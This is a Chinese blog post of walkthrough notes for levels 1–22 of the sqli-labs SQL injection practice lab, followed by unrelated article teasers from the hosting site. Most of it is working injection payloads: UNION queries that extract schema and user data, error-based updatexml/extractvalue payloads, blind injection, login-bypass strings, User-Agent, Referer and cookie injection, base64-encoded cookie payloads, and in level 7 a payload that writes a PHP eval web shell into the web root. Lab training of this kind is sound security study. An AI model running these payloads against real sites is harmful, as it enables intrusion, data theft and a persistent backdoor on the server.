sqli-labs-master靶场训练笔记(1-22|新手村)

news2024/9/20 0:58:43

2024.1.21

level-1

(单引号装饰) 

先根据提示建立一个get请求


在尝试使用单个单引号测试,成功发现语句未闭合报错

然后反手一个 order by 得到数据库共3列,-- 后面加字母防止浏览器吃掉 -- 操作(有些会)

再把id改到一个不存在的值防止占用回显位,接上 select 得到回显位是2,3

然后随便选一个回显位开始 爆库 --> 爆表 --> 爆字段 --> 爆数据

?id=-1' union select 1,2,database() -- a
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') -- a
?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users') -- a
?id=-1' union select 1,2,(select group_concat('~',username,'~') from security.users limit 0,1) -- a

 爆数据时也可以用

?id=-1' union select 1,2,(select concat('~',username,'~') from security.users limit 0,1) -- a

?id=-1' union select 1,2,(select concat('~',username,'~') from security.users where id=1) -- a

来一个一个爆

 

(level-1能有什么坏心思呢,直接拿下(¬◡¬)✧)

level-2

(数字型) 

先尝试了一个和两个单双引号结果都报错,那就在尝试 id=2-1 发现返回的是id=1的值,那就很明显是个简单的数字型注入

 然后就和level-1一样依葫芦画瓢 得列数 --> 爆库 --> 爆表 --> 爆字段 --> 爆数据

此处省略直接给最后一步

?id=-1 union select 1,2,(select group_concat('~',username,'~') from security.users limit 0,1) -- a

(level-2能有什么坏心思呢,不过是leve-1变了个性罢了(¬◡¬)✧)

level-3

(单引号+括号装饰) 

按惯例先小a一个单引号,很好,报错了,看一下报错信息发现多了壳,那就很容易猜到数据库接收的格式大概是 username=('%s') 这样的,那我们也套个壳并把原有的壳干掉

尝试了一下,果然没错,那接下来就是老操作 得列数 --> 爆库 --> 爆表 --> 爆字段 --> 爆数据

直接给poc

?id=-1') union select 1,2,(select group_concat('~',username,'~') from security.users limit 0,1) -- a

 

(level-3能有什么坏心思呢,不过是leve-1穿了个衣服罢了(¬◡¬)✧)

level-4

(双引号+括号装饰) 

惯例上场先小a一个单引号,没用,再小a一个双引号,直接破防,猜出 username=("%s") 

那根据level-3的经验很容易造出绕过

构造出poc

?id=-1") union select 1,2,(select group_concat('~',username,'~') from security.users limit 0,1) -- a

 (level-4能有什么坏心思呢,不过是leve-3的兄弟罢了(¬◡¬)✧)

 level-5

(报错注入) 

 很好,对面上来就放隐身技能,but,我们先小a一个单引号,专治各种花里胡哨,对面马上显现

观察报错信息可知和level-1一个路数,但对面都放技能了,我们再平a就不太厚道了,那就趁他病要他命,直接甩个报错注入

Ps:两个常用的报错函数,详细用法请自行了解,

函数示例
updatexml()?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1)  -- a
extractvalue()extractvalue(1,concat(0x7e,(mid((select user()),1,32)),0x7e))

老套路 爆库 --> 爆表 --> 爆字段 --> 爆数据

?id=1' union select extractvalue(1,concat('~',database(),'~')) -- a

?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~')) -- a

?id=1' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),'~')) -- a

?id=1' and extractvalue(1,concat('~',(select group_concat(username) from security.users limit 0,1),'~')) -- a

 Ps:因为报错注入最多显示32位所以最后面的 ~ 没了,这也是 ~ 存在的原因,可以判断字段是否显示完整

(level-5能有什么坏心思呢,不过是leve-1想和你玩躲猫猫罢了(¬◡¬)✧)

level-6

(报错注入) 

很好,又来,小a一个单引号没用那就小a一个双引号,直接秒了

直接给出poc

?id=1" and extractvalue(1,concat('~',(select group_concat(username) from security.users limit 0,1),'~')) -- a

(level-6能有什么坏心思呢,不过是leve-1的兄弟想和你玩躲猫猫罢了(¬◡¬)✧)

level-7

(转储到输出文件) 

又开始玩花招了,报错信息被ban了,但他还留了提示 use outfile 

 但依然还是先判断绕过的格式,经过一番激烈的斗争......,得到了格式为 '))

要想mysql读写文件需要更改mysql配置

找到mysql里的my.ini,在[mysqld]中加入 secure-file-priv= 保存并重启mysql即可

那既然 outfile 都甩脸上了,直接写一个一句话木马,再用蚁剑一连,哎,小样给你底裤都扒干净咯

?id=-1')) union select 1,2,'<?php @eval($_POST["abc"]);?>' into outfile "D:\\2.tools_app\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\1.php" -- a

 (level-7能有什么坏心思呢,不过是leve-1不想被你看光光罢了(¬◡¬)✧)

level-8

(盲注) 

level-7 异父异母的亲兄弟,小a个单引号很容易判断出注入点 id=1' -- a

但很显然 level-8 吸收了level-7 的缺陷,一句话木马注不进去,那么我们也要改变战术——盲注走起,那么——

先爆破一下库名的长度,长度为8

?id=1' and length(database())=1 -- a

 在对库名进行爆破,整理得 security

?id=1' and mid((select database()),1,1)='a' -- a

爆表名,得emails,referers,uagents,users

?id=1' and mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='a' -- a

 爆字段和爆数据操作类似,不写了,偷个懒

 (level-8能有什么坏心思呢,不过是leve-1欲情故纵罢了(¬◡¬)✧)

level-9

(盲注) 

很好,开始装高冷了,输什么都是一个样,那么就来看看你内心是否真的波澜不惊

抓包扔到 repeater 中可以看到 Content-Length: 707 代表正确

然后小a一个单引号马上显形

那么后续操作就和level-8一样了

?id=1' and mid((select database()),1,1)='a' -- a

(level-9能有什么坏心思呢,不过是leve-1表面的风平浪静罢了(¬◡¬)✧)

level-10

(盲注) 

level-9的孪生兄弟,双引号秒了

?id=1" and mid((select database()),1,1)='a' -- a

 (level-10能有什么坏心思呢,不过是想给leve-1报仇罢了(¬◡¬)✧)

level-11

 (单引号装饰)

 变成表单了,但任他变化万千,单引号yyds

 在反手接一个万能密码,直接拿下

uname=1'or 1=1 -- a&passwd=2&submit=Submit

这一题把GET请求变成了POST请求,但套路还是一样的

 (level-11能有什么坏心思呢,不过是leve-1画了个妆罢了(¬◡¬)✧)

level-12

 (双引号+括号装饰)

这熟悉的感觉,是level-4没错了

uname=1") or 1=1 -- a&passwd=2&submit=Submit

 (level-12能有什么坏心思呢,不过是leve-4画了个妆罢了(¬◡¬)✧) 

level-13 

(报错注入) 

level-3的注入格式

uname=1') -- a&passwd=2&submit=Submit

但是只有登录成功的标志(我的数据呐┻━┻︵╰(‵□′)╯︵┻━┻),这显然不是我们想要的,想必level-5已经告诉了我们答案,你说是吧,报错注入

uname=1') and updatexml(1,concat('~',(select database()),'~'),1) -- a&passwd=2&submit=Submit

(level-13能有什么坏心思呢,不过是画了妆的leve-3陪你玩躲猫猫罢了(¬◡¬)✧) 

level-14

(报错注入) 

一个双引号的事,没啥好说的

uname=1" and updatexml(1,concat('~',(select database()),'~'),1) -- a&passwd=2&submit=Submit

(level-14能有什么坏心思呢,我甚至不好评价(¬◡¬)✧) 

 level-15

(盲注) 

 配合万能钥匙可以判断出是单引号包装

uname=1' or 1=1 -- a&passwd=2&submit=Submit

正确错误都没回显位, 这高冷的气息,想必盲注的心已经按耐不住了

uname=1' or mid((select database()),1,1)='a' -- a&passwd=2&submit=Submit

(level-15能有什么坏心思呢,他只是想尝尝盲注的味道罢了(¬◡¬)✧) 

level-16

 (盲注)

依旧是先判断注入点,有了前几关的练级,三下五除二的试出格式

uname=1") or 1=1 -- a &passwd=&submit=Submit

然后就是熟悉的味道,熟悉的盲注

uname=1") or mid((select database()),1,1)="s" -- a &passwd=&submit=Submit

(level-16能有什么坏心思呢,他只是level-4的兄弟罢了(¬◡¬)✧)

level-17 

(报错注入) 

好好好,这个小卡拉蜜开始嘴臭了,这能忍?忍不了一点(ε=怒ε=怒ε=怒ε=怒ε=( o`ω′)ノ)

看 [PASSWORD RESET] 知道是重置密码,那就要猜一下用户名了,用burp自带的字典爆了一下可以爆出这些用户名

uname=admin&passwd=1&submit=Submit

接下来就是要爆数据了,我先尝试了一下对uname注入但是失败了,那么在试一下对passwd注入,本来想着用盲注的,可在造轮子的时候有了意外发现,测了一下,当password的长度>=21时,会有警告

uname=admin&passwd=123456789012345678901&submit=Submit

那么,有没有利用之处呢 

报错注入一手,直接拿下

uname=admin&passwd=1'and updatexml(1,concat('~',(select database()),'~'),1) -- a&submit=Submit

 事后回顾:

看了一下源代码,之所以username没有注入点是因为用了mysql_fetch_array()

mysql_fetch_array() 函数从结果集中取得一行做为关联数组(即键值对数组,带有指定的键的数组,每一个键关联一个值),或数字数组(带有数字 ID 键的数组),或两者兼有mysql

返回根据从结果集取得的行生成的数组,若是没有更多行则返回 false。

(level-17能有什么坏心思呢,只是犯下了傲慢之罪罢了(¬◡¬)✧)

level-18

 (User-Agent 注入)

 一开始就把IP怼脸上,既然有IP显示,那大概率http请求报头与数据库有交互,既然有交互,就有注入的机会,在用admin登录看看有什么幺蛾子

uname=admin&passwd=admin&submit=Submit

可以看到 User-Agent 也有交互,那么针对 User-Agent 构造poc,直接接在后面即可

' and updatexml(1,concat('~',(select database()),'~'),1) and '

 Ps:

                '        and        updatexml(1,concat('~',(select database()),'~'),1)        and        '

                ↓         ↓                                               ↓                                                ↓          ↓

           与数据  连接                                    报错注入语句                                  连接   与数据

           库原有  前后                                                                                            前后   库原有

           的单引  语句                                                                                            语句   的单引

           号闭合                                                                                                               号闭合

(level-18能有什么坏心思呢,只是想更多的了解你罢了(¬◡¬)✧)

level-19

 (Referer 注入) 

和 level-18 殊途同归,这题是 Referer 请求头注入,改都不带改的,直接一粘

' and updatexml(1,concat('~',(select database()),'~'),1) and '

(level-19能有什么坏心思呢,不过想看看召唤自己的咒语罢了(¬◡¬)✧)

level-20

(cookie 注入)

用admin登进去,发现这次多了 cookie 属性,那就抓包准备接借 cookie 之手进行注入

哎呀,也没啥变化,和level-19一样,一粘可以了

' and updatexml(1,concat('~',(select database()),'~'),1) and '

(level-20能有什么坏心思呢,他只是罢了(¬◡¬)✧)(唯有抓包才能发现的彩蛋(也许吧))

level-21

(cookie 注入+数据加密

从页面上就可以看出这次的数据被 baes64 加密了

中国有句古话:师夷长技以制夷 ,用base64加密后的数据即可爆出数据

加密前:

admin' and updatexml(1,concat('~',(select database()),'~'),1) and '

加密后: 

YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoJ34nLChzZWxlY3QgZGF0YWJhc2UoKSksJ34nKSwxKSBhbmQgJw==

(level-21能有什么坏心思呢,他只是进行了秘密行动罢了(¬◡¬)✧)

level-22

(cookie 注入+数据加密)  

和level-21大差不差,用双引号装饰

admin" and updatexml(1,concat('~',(select database()),'~'),1) and "
YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoJ34nLChzZWxlY3QgZGF0YWJhc2UoKSksJ34nKSwxKSBhbmQgIg==

(level-22能有什么坏心思呢,(¬◡¬)✧) 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1422277.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Java关于Excel文件的导入导出

人生如梦 荣华富贵 如木槿之花 朝荣夕逝 需求 导出&#xff1a; 能够将库表内的数据导出多个Excel表&#xff0c;并且生成一个压缩包&#xff0c;提供用户下载导入&#xff1a; 能够将一个压缩包内的多个Excel表解压&#xff0c;并获取表内的所有数据 FileUtils 工具类 publi…

GPT-SoVITS 本地搭建踩坑

GPT-SoVITS 本地搭建踩坑 前言搭建下载解压VSCode打开安装依赖包修改内容1.重新安装版本2.修改文件内容 运行总结 前言 传言GPT-SoVITS作为当前与BertVits2.3并列的TTS大模型&#xff0c;于是本地搭了一个&#xff0c;简单说一下坑。 搭建 下载 到GitHub点击此处下载 http…

【三维重建】运动恢复结构(SfM)

运动恢复结构是通过三维场景的多张图像&#xff0c;恢复出该场景的三维结构信息以及每张图片对应的摄像机参数。 欧式结构恢复(内参已知&#xff0c;外参未知) 欧式结构恢复问题&#xff1a; 已知&#xff1a;1、n个三维点在m张图像中的对应点的像素坐标 2、相机内参 求解&…

指针的深入了解6

1.回调函数 回调函数就是一个通过函数指针调用的函数。 如果你把函数的指针&#xff08;地址&#xff09;作为参数传递给另一个函数&#xff0c;当这个指针被用来调用其所指向的函数 时&#xff0c;被调用的函数就是回调函数。回调函数不是由该函数的实现方直接调用&#xff0…

字符串:getline、删除子串.erase()函数、插入子串.insert()函数

getline具体用法&#xff1a; 1、函数形式 getline ( cin,字符串类型&#xff1a;变量名);//默认以换行符结束 getline (cin, 字符串类型&#xff1a;变量名, ‘指定的结束符’); //指定换行结束符 2注意事项&#xff1a; 1&#xff09;如果在使用getline()之前有使用scanf(…

Java基础--异常

异常 将程序执行中发生的不正常情况称为“异常”&#xff08;语法错误和逻辑错误不是异常&#xff09;。 异常时间分为两大类&#xff1a; 1.Error&#xff08;错误&#xff09;&#xff1a;Java虚拟机无法解决的严重问题。Error 是严重错误&#xff0c;程序会崩溃。 2.Except…

【AI视野·今日NLP 自然语言处理论文速览 第七十七期】Mon, 15 Jan 2024

AI视野今日CS.NLP 自然语言处理论文速览 Mon, 15 Jan 2024 Totally 57 papers &#x1f449;上期速览✈更多精彩请移步主页 Daily Computation and Language Papers Machine Translation Models are Zero-Shot Detectors of Translation Direction Authors Michelle Wastl, Ja…

奥威-金蝶BI方案:企业获利能力该这样看

获利能力、偿债能力、营运能力是企业经营发展中需要密切关注的三大基础能力&#xff0c;通常可通过详细的数据分析可视化来获知。那么&#xff0c;怎么分析企业获利能力&#xff1f;奥威-金蝶BI方案做了个示范。 按年看 按月看 一般来说&#xff0c;我们会做成两张报表&#x…

代码随想录算法刷题训练营day20

代码随想录算法刷题训练营day20&#xff1a;LeetCode(654)最大二叉树、LeetCode(617)合并二叉树、LeetCode(700)二叉搜索树中的搜索、LeetCode(700)二叉搜索树中的搜索、LeetCode(98)验证二叉搜索 LeetCode(654)最大二叉树 题目 代码 import java.util.Arrays;/*** Definit…

Java面试架构篇【一览众山小】

文章目录 &#x1f6a1; 简介☀️ Spring&#x1f425; 体系结构&#x1f420; 生命周期 &#x1f341; SpringMVC&#x1f330; 执行流程 &#x1f31c; SpringBoot&#x1f30d; 核心组件&#x1f38d; 自动装配&#x1f391; 3.0升级 &#x1f505; spring Cloud Alibaba&am…

Consul容器服务自动发现和更新

目录 前瞻 什么是服务注册与发现 什么是consul Docker-consul实现过程 Docker-consul集群部署 实验准备 实验流程 前瞻 什么是服务注册与发现 服务注册与发现是微服务架构中不可或缺的重要组件。起初服务都是单节点的&#xff0c;不保障高可用性&#xff0c;也不考虑服…

web应用课——(第一讲:html基础标签)

目录 一、html文件结构 二、文本标签 三、图片 四、音频和视频 五、超链接 六、表单 七、列表 八、表格 九、语义标签 十、特殊符号 一、html文件结构 <html>标签&#xff1a;表示一个 HTML 文档的根&#xff08;顶级元素&#xff09;&#xff0c;所以它也被…

可以举一反三的动态规划问题(最短编辑问题)

给定两个字符串 A 和 B&#xff0c;现在要将 A经过若干操作变为 B&#xff0c;可进行的操作有&#xff1a; 删除–将字符串 A 中的某个字符删除。插入–在字符串 A 的某个位置插入某个字符。替换–将字符串 A 中的某个字符替换为另一个字符。 现在请你求出&#xff0c;将 A 变…

掌握 Android JNI 基础

写在前面 最近在看一些底层源码&#xff0c;发现 JNI 这块还是有必要系统的看一下&#xff0c;索性就写一写博客&#xff0c;加深加深印象&#x1f37b; 本文重点聊一聊一些干货&#xff0c;避免长篇大论 JNI 概述 JNI 是什么&#xff1f; 定义&#xff1a;Java Native In…

类和对象 第六部分 继承 第一部分:继承的语法

一.继承的概念 继承是面向对象的三大特性之一 有些类与类之间存在特殊的关系&#xff0c;例如下图&#xff1a; 我们可以发现&#xff0c;下级别的成员除了拥有上一级的共性&#xff0c;还有自己的特性&#xff0c;这个时候&#xff0c;我们可以讨论利用继承的技术&#xff0c;…

使用antdesign3.0、echarts制作固定资产后台管理系统原型

学了半个月Axure,周末用半天时间&#xff0c;照着网上的模板做了一个固定资产后台管理系统的原型。重点是内联框架的使用&#xff0c;和对echarts表格js代码的调试。原型链接&#xff1a;https://qoz5rv.axshare.com 资产管理系统

qt 动态添加多个button按钮,并添加单击响应

qt动态添加多个button按钮简单&#xff0c;难题是如何对动态的按钮添加响应函数&#xff0c;本文解决方案有两个 方法一&#xff1a;使用信号-槽函数 QString strTemp;int nCol 6;//一行有6个for(int i 0; i < CZList.size(); i){int ii i / nCol;int jj i % nCol;strT…

Qt+css绘制标题

之前学过html和小程序&#xff0c;帮老师做项目的时候也用过vue&#xff0c;在想qt绘制界面是不是也可以使用css,然后查了一些资料&#xff0c;绘制了一个标题&#xff0c;准备用到智能家居的上位机上面。 成果 源码 重写了paintEvent函数和TimeEvent函数&#xff0c;一个用于绘…

Next.js如何正确处理跨域问题?

以前一直使用Vue来写前端。去年下半年接手了一个基于React Next.js的项目&#xff0c;于是顺带学习了一下Next.js。由于Next.js的特点&#xff0c;这个项目的前后端是放在一起的。一开始没什么问题&#xff0c;看了半天文档就上手了。 上周我们需要在另一个网页项目中&#x…

基于DataX完成数据导入-仅新增方案

仅新增方式: 订单退款表为例, 探讨如何完成仅新增方式导入操作 从业务库将数据导入到ODS层, 分为 首次导入和增量导入两部分, 其中首次导入指的第一次建表, 导入数据, 此时一般都是全量导入, 后续每一天都是采用增量导入的方式, 当前项目, 增量模式: T1(当天处理都是上一天的数…